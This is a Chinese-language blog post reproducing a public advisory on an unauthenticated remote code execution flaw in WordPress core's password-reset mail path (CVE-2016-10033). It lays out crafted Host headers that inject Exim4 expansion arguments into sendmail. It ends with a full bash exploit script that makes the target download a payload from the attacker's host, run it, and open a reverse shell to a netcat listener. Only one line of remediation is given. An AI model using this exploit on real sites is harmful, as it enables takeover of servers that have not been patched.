解决方案:wordpress Mail sitename字段处理不当导致多处远程代码执行漏洞

目前这个漏洞,硬是没找到修改代码的解决方案。是逼用户升级版本么?其实对于深度修改过文件的用户,升级主版本真是很不方便。

以下漏洞详情:

漏洞概述
漏洞编号:CVE-2016-10033
漏洞发现者:dawid_golunski
漏洞危害:严重
影响版本:WordPress 
漏洞描述:远程攻击者可以利用该漏洞执行代码
漏洞细节
这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。
漏洞代码
if ( !isset( $from_email ) ) {
 // Get the site domain and get rid of www.
 $sitename = strtolower( $_SERVER['SERVER_NAME'] );
 if ( substr( $sitename, 0, 4 ) == 'www.' ) {
 $sitename = substr( $sitename, 4 );
 }
 $from_email = 'wordpress@' . $sitename;
 }
 /**
 * Filters the name to associate with the "from" email address.
 *
 * @since 2.3.0
 *
 * @param string $from_name Name associated with the "from" email address.
 */
 $from_name = apply_filters( 'wp_mail_from_name', $from_name );
 $phpmailer->setFrom( $from_email, $from_name );
 
WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的

$from_email = 'wordpress@' . $sitename;
然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html 
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html
注入
可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。
为了验证这点,请看vars.php请求与响应的演示
GET /vars.php HTTP/1.1
Host: xenialINJECTION
HTTP/1.1 200 OK
Server: Apache
Array
(
 [HTTP_HOST] => xenialINJECTION
 [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
 [SERVER_NAME] => xenialinjection
...
我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。
使用这个HOST头的例子,如果攻击者触发了wp_mail()函数
通过使用WordPress的忘记密码功能,HTTP请求将类似于
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password
并将导致以下参数传递到/ usr / sbin / sendmail:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenialinject]
这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。
绕过过滤
为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会
防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。
例如,如果攻击者将HOST头修改为以下内容:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE
验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:

HTTP/1.0 500 Internal Server Error
在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)

PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准
详细请查看:
http://php.net/manual/en/filter.filters.validate.php 
它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。
应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 
对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。
RFC 822和注释语法
根据查看RFC 822规范,找到绕过验证的一种潜在的方法:
https://www.ietf.org/rfc/rfc822.txt
电子邮件地址可以包含注释
该文件给出了一个电子邮件示例,其中括号中有注释:
":sysmail"@ Some-Group. Some-Org,
 Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
 
作为有效的电子邮件,域内部分的简化注释示例:
john@example.com(comment)
经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。
通过注释语法注入参数
以下请求与HOST头设置为:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)
不会触发错误,测试以下参数发送邮件 :
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]
我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。

apply_filters( 'wp_mail_from_name', $from_name );
我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。
通过Sendmail MTA执行代码
迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA
最常见的Sendmail MTA向量类似于:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
它通常通过输入信息写入一个包含php后门的日志文件
然而,这种技术有两个问题:
1)
Sendmail MTA不再常用,我们可以通过查看来验证
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。
2)
上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)
将出现以下一组sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]
Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。
通过Exim4 MTA执行代码
关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章 
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html 
PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下

sendmail -be'$ {run {/ bin / true} {true} {false}}'
-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值
同样,以下将执行id命令:

sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'
注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail - > exim4与Sendmail MTA无关。
这个点可以可靠的方式实现执行命令
$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径
HOST头限制
看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。
请求格式如下:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)
由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。
绕过限制
绕过HOST头的限制几种方法
尝试通过研究可用的Exim字符串:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html 
嵌入式perl
---------------------
其中一个扩展是:

$ {perl {foo} {argument1} {argument2} ...}
不过Perl在默认情况下没有启用perl,因此漏洞无法使用。
编码
---------------------
对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:

sendmail -be'$ {base64d:QUI =}'
失败:未知扩展运算符“base64d”
子字符串和环境变量
---------------------
另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:

PATH = / bin:/ usr / bin
因此是一个很好的候选变量。
$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:
sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}'
/
不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。

子字符串和内部exim4变量
--------------------------------------
通过不断的测试发现以下变量可以使用:
sendmail -be '${spool_directory}'
/var/spool/exim4
spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。
斜杠可以替换为:

$ {SUBSTR {0} {1} {$ spool_directory}}
从而绕过HOST头的斜杠限制。
以下命令:

sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'
现在可以转换为:

sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'
这在terminal 下正常工作,但是在HTTP请求中进行测试时:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
转化后是以下sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]
我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')
替换空格
------------------
首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。
经过深入研究,发现了一个方便的内部exim变量:
sendmail -be'$ {tod_log}'
2016-01-02 23:49:42
tod_log变量返回一个含有空格的当前日期格式。
类似于斜杠替换,$ substring + $ tod_log变量可以
用于替换测试的空格:

sendmail -be'$ {substr {10} {1} {$ tod_log}}'
PoC HTTP请求
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]
这里将在目标系统WordPress 4.6上创建一个测试test文件:
/usr/bin/touch /tmp/test
以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。
PoC
rev_host="192.168.57.1"
function prep_host_header() {
 cmd="$1"
 rce_cmd="\${run{$cmd}}";
 # replace / with ${substr{0}{1}{$spool_directory}}
 #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
 rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
 # replace ' ' (space) with
 #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
 rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
 #return "target(any -froot@localhost -be $rce_cmd null)"
 host_header="target(any -froot@localhost -be $rce_cmd null)"
 return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro" | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
PoC演示视频
修复建议
更新到最新版本或者4.7.1以上版本

《解决方案:wordpress Mail sitename字段处理不当导致多处远程代码执行漏洞》有13,089个想法

评论已关闭。